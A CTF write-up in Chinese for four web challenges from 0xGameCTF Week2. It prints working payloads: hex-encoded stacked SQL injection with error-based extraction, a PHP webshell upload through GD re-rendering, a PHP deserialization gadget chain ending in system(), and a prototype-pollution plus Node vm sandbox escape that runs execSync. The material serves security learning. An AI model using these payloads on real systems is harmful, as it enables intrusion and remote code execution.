目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. ez_sqli
    2. 2.2. ez_upload
    3. 2.3. ez_unserialize(复现)
    4. 2.4. ez_sandbox(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

0xGameCTF Week2

2023/10/12 CTF线上赛
  |     |   总文章阅读量:

前言

比赛太多没什么时间打,第二周论题目大概是几个新生赛里难度最高的,虽然hint给的多(

最后web完成度:2/4

Web

ez_sqli

堆叠注入+报错注入

测试一下发现过滤了select,database,update等及其大小写,可以考虑用十六进制编码来执行

还发现空格会被自动删除,那么用/**/代替

Hint 2: 堆叠注入 (cursor.execute() 能够执行多条 SQL 语句)

Hint 3: 关键词: set prepare execute

Hint 6: 尝试通过 set 设置一个变量 其内容为待执行的 SQL 语句 然后使用 prepare + execute 来执行该 SQL 语句 (你可能需要通过某些方法对 SQL 语句进行编码或者拼接以绕过关键词检测)

Hint 8: 堆叠注入的结果不会回显 你需要报错注入/时间盲注

爆数据库:select updatexml(1,concat('^',(database()),'^'),1)

?order=id;SeT@a=0x73656c65637420757064617465786d6c28312c636f6e63617428275e272c2864617461626173652829292c275e27292c3129;prepare/**/execsql/**/from/**/@a;execute/**/execsql;

image-20231013201658418

Hint 4: flag 位置: select flag from flag

直接读flag

?order=id;SeT@a=0x73656c65637420757064617465786d6c28312c636f6e63617428275e272c2873656c65637420666c61672066726f6d20666c6167292c275e27292c3129;prepare/**/execsql/**/from/**/@a;execute/**/execsql;

image-20231013201821755

读取后半段:select updatexml(1,concat('^',substr((select flag from flag),31,50),'^'),1)

?order=id;SeT@a=0x73656c65637420757064617465786d6c28312c636f6e63617428275e272c737562737472282873656c65637420666c61672066726f6d20666c6167292c33312c3530292c275e27292c3129;prepare/**/execsql/**/from/**/@a;execute/**/execsql;

flag:0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}


ez_upload

二次渲染文件上传

upload.php

<?php
error_reporting(0);
session_start();

$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';

if (!file_exists($user_dir)) {
    mkdir($user_dir);
}

switch ($_FILES['file']['type']) {
    case "image/gif":
        $source = imagecreatefromgif($_FILES['file']['tmp_name']);
        break;
    case "image/jpeg":
        $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
        break;
    case "image/png":
        $source = imagecreatefrompng($_FILES['file']['tmp_name']);
        break;
    default:
        die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;

switch ($_FILES['file']['type']) {
    case "image/gif":
        imagegif($source, $filepath);
        break;
    case "image/jpeg":
        imagejpeg($source, $filepath);
        break;
    case "image/png":
        imagepng($source, $filepath);
        break;
    default:
        die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;

$_SESSION['avatar'] = $filepath;
?>
  • Hint 2:代码中的 imagecreatefromXXX 和 imageXXX 函数来源于 PHP 的 GD 库

  • Hint 3: GD 库会对图片进行二次渲染

  • Hint 5:代码并没有限制上传文件的后缀

结合这几个hint,解题思路就很明显了

上传一个二次渲染的png图片,抓包改成php后缀直接上传(注:不要发到重放器里上传)

二次渲染的png生成脚本

访问对应路径,然后就拿到shell了

image-20231012005628984


ez_unserialize(复现)

这题的思路不同于以往按顺序写exp链子,很迷,还没有完全理解

<?php
show_source(__FILE__);
class Cache
{
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper)
    {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup()
    {
        $this->expired = False;
    }

    public function expired()
    {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

class Storage
{
    public $store;

    public function __construct()
    {
        $this->store = array();
    }

    public function __set($name, $value)
    {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name)
    {
        return $this->data[$name];
    }
}

class Helper
{
    public $funcs;

    public function __construct($funcs)
    {
        $this->funcs = $funcs;
    }

    public function __call($name, $args)
    {
        $this->funcs[$name](...$args);
    }
}

class DataObject
{
    public $storage;
    public $data;

    public function __destruct()
    {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);
}
  • Hint 4: 调用链: DataObject.__destruct -> Storage.__set -> Cache.expired() -> Helper.__call

对于DataObject::__destruct,foreach语句能遍历data的内容,将key和value赋值给storage,这里可以被视为给data的属性storage赋值,触发 Storage::__set 方法

class DataObject
{
    public $storage;
    public $data;

    public function __destruct()
    {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

对于Storage::__set,store在无参构造函数__construct下被初始化为空数组,然后检查store是否为空,是的话就初始化为空数组;接着检查$value->expired(),如果返回False,则会存入store数组

class Storage
{
    public $store;

    public function __construct()
    {
        $this->store = array();
    }

    public function __set($name, $value)
    {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name)
    {
        return $this->data[$name];
    }
}

对于Cache::expired(),先判断类内部的expired属性是否为True,如果为True则会调用不存在的clean方法,从而触发__call

class Cache
{
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper)
    {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup()
    {
        $this->expired = False;
    }

    public function expired()
    {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

对于Helper::__call,按照传入的name从funcs数组中取出对应的函数名,然后将args作为参数,动态调用这个函数

class Helper
{
    public $funcs;

    public function __construct($funcs)
    {
        $this->funcs = $funcs;
    }

    public function __call($name, $args)
    {
        $this->funcs[$name](...$args);
    }
}
  • Hint 5: 尝试向 DataObject 中放入 cache1 和 cache2 并使得 $storage->store = &$cache2->expired 最终通过调用 cache2 的 expired 方法实现 RCE

根据这个hint,我们应该是要给DataObject的data传入数组,其中有两个键,值分别为cache1和cache2,并使$storage->store = &$cache2->expired

因为反序列化时, 首先会调用两个Cache的__wakeup方法, 将各自的expired属性设置为False,而要想触发Helper::__call就得调用clean,要想调用clean就得使expired的属性为True,也就是说要绕过__wakeup,而这里得在逻辑上进行绕过,在__wakeup执行结束之后再对expired赋值为True

要实现这个操作就要利用php的引用,首先初始化一个cache1让store(即 cache1 的expired属性)不为空,然后再初始化cache2,此时cache2的expired字段, 也就是上⾯的store, 已经被设置成了⼀个数组,并且数组中存在 cache1 (不为空),因此这⾥if ($this->expired)的结果为 True,最后再把这个cache2的expired属性引用给storage的store,由它来调用Cache::expired()接着实现RCE

这是反序列化后几个对象的值与属性,用于参考

object(DataObject)#7 (2) 
{
  ["storage"]=>
  object(Storage)#8 (1) 
  {
    ["store"]=>
    &bool(false)
  }
  ["data"]=>
  array(2) {
    ["key1"]=>
    object(Cache)#9 (4) 
    {
      ["key"]=>
      NULL
      ["value"]=>
      NULL
      ["expired"]=>
      bool(false)
      ["helper"]=>
      NULL
    }
    ["key2"]=>
    object(Cache)#10 (4) 
    {
      ["key"]=>
      string(2) "ls"
      ["value"]=>
      NULL
      ["expired"]=>
      &bool(false)
      ["helper"]=>
      object(Helper)#11 (1) 
      {
        ["funcs"]=>
        array(1) 
        {
          ["clean"]=>
          string(6) "system"
        }
      }
    }
  }
}

exp:

<?php
class Cache
{
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct()
    {
        $this->expired = False;
    }
}

class Storage
{
    public $store;

    public function __construct()
    {
        $this->store = array();
    }
}

class Helper
{
    public $funcs;

    public function __construct($funcs)
    {
        $this->funcs = $funcs;
    }
}

class DataObject
{
    public $storage;
    public $data;
}

$cache2 = new Cache();
$cache2->helper = new Helper(array('clean' => 'system'));
$cache2->key = 'ls';

$a = new DataObject();
$a->data = array('key1' => new Cache(), 'key2' => $cache2);
$a->storage = new Storage();
$a->storage->store=&$cache2->expired;

echo serialize($a);

真的有点难,感觉还是讲不清楚。。


ez_sandbox(复现)

原型链污染 + vm沙箱逃逸

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

首先是原型链污染的部分

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

ban了__proto__,我们可以用obj.constructor.prototype来代替

代码在注册和登录的时候使用了 clone(req.body)

跟踪到/login路由

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

只要username的值在admins对象里就能以admin身份登录

那么就要构造原型链污染,先在/register路由下面注册一个账号,然后来到/login路由

登录时抓包修改post请求体,来污染admins

{
    "username":"kami",
 	"password":"123456",
    "constructor": {
        "prototype": {
            "kami": "123"
        } 
    }
}

本地测试:

在merge处下断点,可以看到users里面是我们注册的账号和密码,admins是空的

image-20231018011216213

image-20231018011045488

f11单步调试到merge开始遍历第二个kami,再次跟进一个循环

image-20231018011816336

users.__proto__原型成功被赋值

image-20231018011627060

此时admins对象的原型的值成功被污染了

从而达到了username in admins的目的

于是成功以admin登录

接下来是vm沙箱的部分

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})
  • Hint 2: vm 沙箱逃逸 (arguments.callee.caller)

可以注意到这里的let sandbox = Object.create(null),此时this为null,所以得利用arguments.callee.caller

  • Hint 4: 通过 JavaScript 的 Proxy 类或对象的 __defineGetter__ 方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性

  • Hint 3: 在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message)

同时我们注意到这里执行code后没有返回输出任何值,但是有try-catch语句,所以我们还需要用到异常处理,利用console.log将报错信息和rce的回显一起带出来

接着跟踪到waf

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

这里都是对关键词过滤,可以用JavaScript的特性:中括号 + 字符串拼接的形式绕过

所以最终的payload:

throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller
        const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
        return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('ls').toString();
    }
})

image-20231018121100280

官方wp也给了__defineGetter__方法的payload

let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj